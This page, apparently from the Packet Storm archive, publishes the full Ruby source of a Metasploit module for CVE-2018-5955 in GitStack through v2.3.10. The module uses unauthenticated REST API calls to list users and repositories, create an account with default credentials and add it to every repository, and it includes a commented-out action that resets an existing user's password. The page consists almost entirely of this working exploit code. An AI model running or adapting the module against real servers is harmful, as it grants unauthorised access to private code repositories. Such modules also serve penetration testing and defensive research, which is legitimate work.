exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

GitStack Unauthenticated REST API Requests

GitStack Unauthenticated REST API Requests
Posted Aug 31, 2024
Authored by Kacper Szurek, Jacob Robles | Site metasploit.com

This Metasploit modules exploits unauthenticated REST API requests in GitStack through v2.3.10. The module supports requests for listing users of the application and listing available repositories. Additionally, the module can create a user and add the user to the applications repositories. This Metasploit module has been tested against GitStack v2.3.10.

tags | exploit
advisories | CVE-2018-5955
SHA-256 | 9c42f5f230d90c174810268b0beac5ce6dae1160eced3fca962ef937bce0e330

GitStack Unauthenticated REST API Requests

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitStack Unauthenticated REST API Requests',
'Description' => %q{
This modules exploits unauthenticated REST API requests in GitStack through v2.3.10.
The module supports requests for listing users of the application and listing
available repositories. Additionally, the module can create a user and add the user
to the application's repositories. This module has been tested against GitStack v2.3.10.
},
'Author' => [
'Kacper Szurek', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2018-5955'],
['EDB', '43777'],
['EDB', '44044']
],
'DisclosureDate' => '2018-01-15',
'Actions' => [
[
'LIST',
{
'Description' => 'List application users',
'List' => 'GET',
'UserPath' => '/rest/user/'
}
],
[
'CREATE',
{
'Description' => 'Create a user on the application',
'Create' => 'POST',
'List' => 'GET',
'UserPath' => '/rest/user/',
'RepoPath' => '/rest/repository/'
}
],
# If this is uncommented, you will be able to change an
# existing user's password.
# After modifying the user's password, the user will be
# added to all available repositories.
# The cleanup action removes the user from all repositories
# and then deletes the user... so this action may not be desirable.
# [
# 'MODIFY',
# {
# 'Description' => "Change the application user's password",
# 'Create' => 'PUT',
# 'List' => 'GET',
# 'UserPath' => '/rest/user/',
# 'RepoPath' => '/rest/repository/'
# }
# ],
[
'LIST_REPOS',
{
'Description' => 'List available repositories',
'List' => 'GET',
'RepoPath' => '/rest/repository/'
}
],
[
'CLEANUP',
{
'Description' => 'Remove user from repositories and delete user',
'List' => 'GET',
'Remove' => 'DELETE',
'RepoPath' => '/rest/repository/',
'UserPath' => '/rest/user/'
}
]
],
'DefaultAction' => 'LIST'
)
)

register_options(
[
OptString.new('USERNAME', [false, 'User to create or modify', 'msf']),
OptString.new('PASSWORD', [false, 'Password for user', 'password'])
]
)
end

def get_users
path = action.opts['UserPath']
begin
res = send_request_cgi({
'uri' => path,
'method' => action.opts['List']
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
if res && res.code == 200
begin
mylist = res.get_json_document
mylist -= ['everyone']
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
mylist.each do |item|
print_good(item.to_s)
end
end
end

def get_repos
path = action.opts['RepoPath']
begin
res = send_request_cgi({
'uri' => path,
'method' => action.opts['List']
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return nil
end
if res && res.code == 200
begin
mylist = res.get_json_document
return mylist
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
return nil
end
else
return nil
end
end

def clean_app
user = datastore['USERNAME']
unless user
print_error('USERNAME required')
return
end

mylist = get_repos
if mylist
# Remove user from each repository
mylist.each do |item|
path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"
begin
res = send_request_cgi({
'uri' => path,
'method' => action.opts['Remove']
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return
end

if res && res.code == 200
print_good(res.body.to_s)
else
print_status("User #{user} doesn't have access to #{item['name']}")
end
end
end

# Delete the user account
path = "#{action.opts['UserPath']}#{user}/"
begin
res = send_request_cgi({
'uri' => path,
'method' => action.opts['Remove']
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return
end

# Check if the account was successfully deleted
if res && res.code == 200
print_good(res.body.to_s)
else
print_error(res.body.to_s)
end
end

def add_user
user = datastore['USERNAME']
pass = datastore['PASSWORD']

begin
res = send_request_cgi({
'uri' => action.opts['UserPath'],
'method' => action.opts['Create'],
'vars_post' => {
'username' => user,
'password' => pass
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
return
end
if res && res.code == 200
print_good("SUCCESS: #{user}:#{pass}")
else
print_error(res.body.to_s)
return
end

mylist = get_repos
if mylist
mylist.each do |item|
path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"
begin
res = send_request_cgi({
'uri' => path,
'method' => action.opts['Create']
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
next
end
if res && res.code == 200
print_good(res.body.to_s)
else
print_error('Failed to add user')
print_error(res.body.to_s)
end
end
else
print_error('Failed to retrieve repository list')
end
end

def run
if ['LIST'].include?(action.name)
print_status('Retrieving Users')
get_users
elsif ['LIST_REPOS'].include?(action.name)
print_status('Retrieving Repositories')
mylist = get_repos
if mylist
mylist.each do |item|
print_good((item['name']).to_s)
end
else
print_error('Failed to retrieve repository list')
end
elsif ['CLEANUP'].include?(action.name)
clean_app
elsif datastore['USERNAME'] && datastore['PASSWORD']
add_user
else
print_error('USERNAME and PASSWORD required')
end
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close